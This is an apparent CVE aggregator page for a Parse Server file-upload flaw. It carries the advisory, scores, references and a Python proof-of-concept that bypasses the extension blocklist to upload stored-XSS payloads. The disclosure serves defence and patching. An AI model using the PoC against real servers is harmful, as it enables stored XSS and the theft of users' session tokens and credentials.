CVE-2026-32728

Description

Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.6.0-alpha.15 and 8.6.41, an attacker who is allowed to upload files can bypass the file extension filter by appending a MIME parameter (e.g. `;charset=utf-8`) to the `Content-Type` header. This causes the extension validation to fail matching against the blocklist, allowing active content to be stored and served under the application's domain. In addition, certain XML-based file extensions that can render scripts in web browsers are not included in the default blocklist. This can lead to stored XSS attacks, compromising session tokens, user credentials, or other sensitive data accessible via the browser's local storage. The fix in versions 9.6.0-alpha.15 and 8.6.41 strips MIME parameters from the `Content-Type` header before validating the file extension against the blocklist. The default blocklist has also been extended to include additional XML-based extensions (`xsd`, `rng`, `rdf`, `rdf+xml`, `owl`, `mathml`, `mathml+xml`) that can render active content in web browsers. Note that the `fileUpload.fileExtensions` option is intended to be configured as an allowlist of file extensions that are valid for a specific application, not as a denylist. The default denylist is provided only as a basic default that covers most common problematic extensions. It is not intended to be an exhaustive list of all potentially dangerous extensions. Developers should not rely on the default value, as new extensions that can render active content in browsers might emerge in the future. As a workaround, configure the `fileUpload.fileExtensions` option to use an allowlist of only the file extensions that your application needs, rather than relying on the default blocklist.

CVSS Details

CVSS Score

7.6

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:* - VULNERABLE

cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha1:*:*:*:node.js:*:* - VULNERABLE

cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha10:*:*:*:node.js:*:* - VULNERABLE

cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha11:*:*:*:node.js:*:* - VULNERABLE

Parse Server < 8.6.41

Parse Server 9.6.0-alpha.15之前的版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2026-32728 PoC - File Upload Bypass with MIME Parameter
import requests
import json

TARGET_URL = "https://target-parse-server.com/parse"  # Replace with target
APP_ID = "your-app-id"
API_KEY = "your-api-key"

# PoC 1: Bypass extension filter with MIME parameter
headers = {
    "X-Parse-Application-Id": APP_ID,
    "X-Parse-REST-API-Key": API_KEY,
    "Content-Type": "text/html;charset=utf-8"  # MIME parameter bypass
}

malicious_content = "<script>alert(document.cookie)</script>"
files = {
    "file": ("malicious.html;charset=utf-8", malicious_content, "text/html")
}

response = requests.post(
    f"{TARGET_URL}/files/malicious.html",
    headers=headers,
    files=files
)

print(f"Upload Response: {response.status_code}")
print(response.json())

# PoC 2: Upload XML-based file with active content
headers2 = {
    "X-Parse-Application-Id": APP_ID,
    "X-Parse-REST-API-Key": API_KEY,
    "Content-Type": "application/xml"
}

xml_content = """<?xml version="1.0"?>
<html xmlns="http://www.w3.org/1999/xhtml">
<script>alert('XSS via XML')</script>
</html>"""

files2 = {
    "file": ("malicious.xsd", xml_content, "application/xml")
}

response2 = requests.post(
    f"{TARGET_URL}/files/malicious.xsd",
    headers=headers2,
    files=files2
)

print(f"XML Upload Response: {response2.status_code}")
print(response2.json())

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-32728
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-32728
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-32728/
[4] VulDB https://vuldb.com/cve/CVE-2026-32728
[5] https://github.com/parse-community/parse-server/commit/4f53ab3cad5502a51a509d53f999e00ff7217b8d
[6] https://github.com/parse-community/parse-server/commit/c7599c577a02b97eb5e76d4e20517b0283ae73c8
[7] https://github.com/parse-community/parse-server/pull/10191
[8] https://github.com/parse-community/parse-server/pull/10192
[9] https://github.com/parse-community/parse-server/security/advisories/GHSA-42ph-pf9q-cr72

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-32728", "sourceIdentifier": "[email protected]", "published": "2026-03-18T22:16:24.983", "lastModified": "2026-03-19T17:41:27.567", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.6.0-alpha.15 and 8.6.41, an attacker who is allowed to upload files can bypass the file extension filter by appending a MIME parameter (e.g. `;charset=utf-8`) to the `Content-Type` header. This causes the extension validation to fail matching against the blocklist, allowing active content to be stored and served under the application's domain. In addition, certain XML-based file extensions that can render scripts in web browsers are not included in the default blocklist. This can lead to stored XSS attacks, compromising session tokens, user credentials, or other sensitive data accessible via the browser's local storage. The fix in versions 9.6.0-alpha.15 and 8.6.41 strips MIME parameters from the `Content-Type` header before validating the file extension against the blocklist. The default blocklist has also been extended to include additional XML-based extensions (`xsd`, `rng`, `rdf`, `rdf+xml`, `owl`, `mathml`, `mathml+xml`) that can render active content in web browsers. Note that the `fileUpload.fileExtensions` option is intended to be configured as an allowlist of file extensions that are valid for a specific application, not as a denylist. The default denylist is provided only as a basic default that covers most common problematic extensions. It is not intended to be an exhaustive list of all potentially dangerous extensions. Developers should not rely on the default value, as new extensions that can render active content in browsers might emerge in the future. As a workaround, configure the `fileUpload.fileExtensions` option to use an allowlist of only the file extensions that your application needs, rather than relying on the default blocklist."}, {"lang": "es", "value": "Parse Server es un backend de código abierto que puede ser desplegado en cualquier infraestructura que pueda ejecutar Node.js. Antes de 9.6.0-alpha.15 y 8.6.41, un atacante al que se le permite subir archivos puede eludir el filtro de extensión de archivo añadiendo un parámetro MIME (p. ej., `;charset=utf-8`) al encabezado `Content-Type`. Esto hace que la validación de la extensión falle al cotejarla con la lista de bloqueo, permitiendo que el contenido activo sea almacenado y servido bajo el dominio de la aplicación. Además, ciertas extensiones de archivo basadas en XML que pueden renderizar scripts en navegadores web no están incluidas en la lista de bloqueo predeterminada. Esto puede llevar a ataques de XSS almacenado, comprometiendo tokens de sesión, credenciales de usuario u otros datos sensibles accesibles a través del almacenamiento local del navegador. La corrección en las versiones 9.6.0-alpha.15 y 8.6.41 elimina los parámetros MIME del encabezado `Content-Type` antes de validar la extensión de archivo contra la lista de bloqueo. La lista de bloqueo predeterminada también se ha extendido para incluir extensiones adicionales basadas en XML (`xsd`, `rng`, `rdf`, `rdf+xml`, `owl`, `mathml`, `mathml+xml`) que pueden renderizar contenido activo en navegadores web. Tenga en cuenta que la opción `fileUpload.fileExtensions` está destinada a ser configurada como una lista de permitidos de extensiones de archivo que son válidas para una aplicación específica, no como una lista de denegados. La lista de denegados predeterminada se proporciona solo como un valor predeterminado básico que cubre las extensiones problemáticas más comunes. No pretende ser una lista exhaustiva de todas las extensiones potencialmente peligrosas. Los desarrolladores no deben depender del valor predeterminado, ya que nuevas extensiones que pueden renderizar contenido activo en navegadores podrían surgir en el futuro. Como solución alternativa, configure la opción `fileUpload.fileExtensions` para usar una lista de permitidos de solo las extensiones de archivo que su aplicación necesita, en lugar de depender de la lista de bloqueo predeterminada."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequiremen ... (truncated)